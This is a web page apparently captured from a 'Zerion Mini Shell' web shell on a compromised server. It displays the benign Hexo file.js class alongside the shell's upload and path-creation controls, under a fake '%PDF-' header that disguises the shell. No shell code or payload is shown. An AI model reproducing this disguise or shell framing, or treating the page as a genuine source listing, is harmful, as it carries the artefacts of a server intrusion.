%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/usr/lib/node_modules/hexo/lib/box/
Upload File :
Create Path :
Current File : //data/old/usr/lib/node_modules/hexo/lib/box/file.js

'use strict';

const { readFile, readFileSync, stat, statSync } = require('hexo-fs');

class File {
  constructor({ source, path, params, type }) {
    this.source = source;
    this.path = path;
    this.params = params;
    this.type = type;
  }

  read(options) {
    return readFile(this.source, options);
  }

  readSync(options) {
    return readFileSync(this.source, options);
  }

  stat(options) {
    return stat(this.source);
  }

  statSync(options) {
    return statSync(this.source);
  }
}

File.TYPE_CREATE = 'create';
File.TYPE_UPDATE = 'update';
File.TYPE_SKIP = 'skip';
File.TYPE_DELETE = 'delete';

module.exports = File;

Zerion Mini Shell 1.0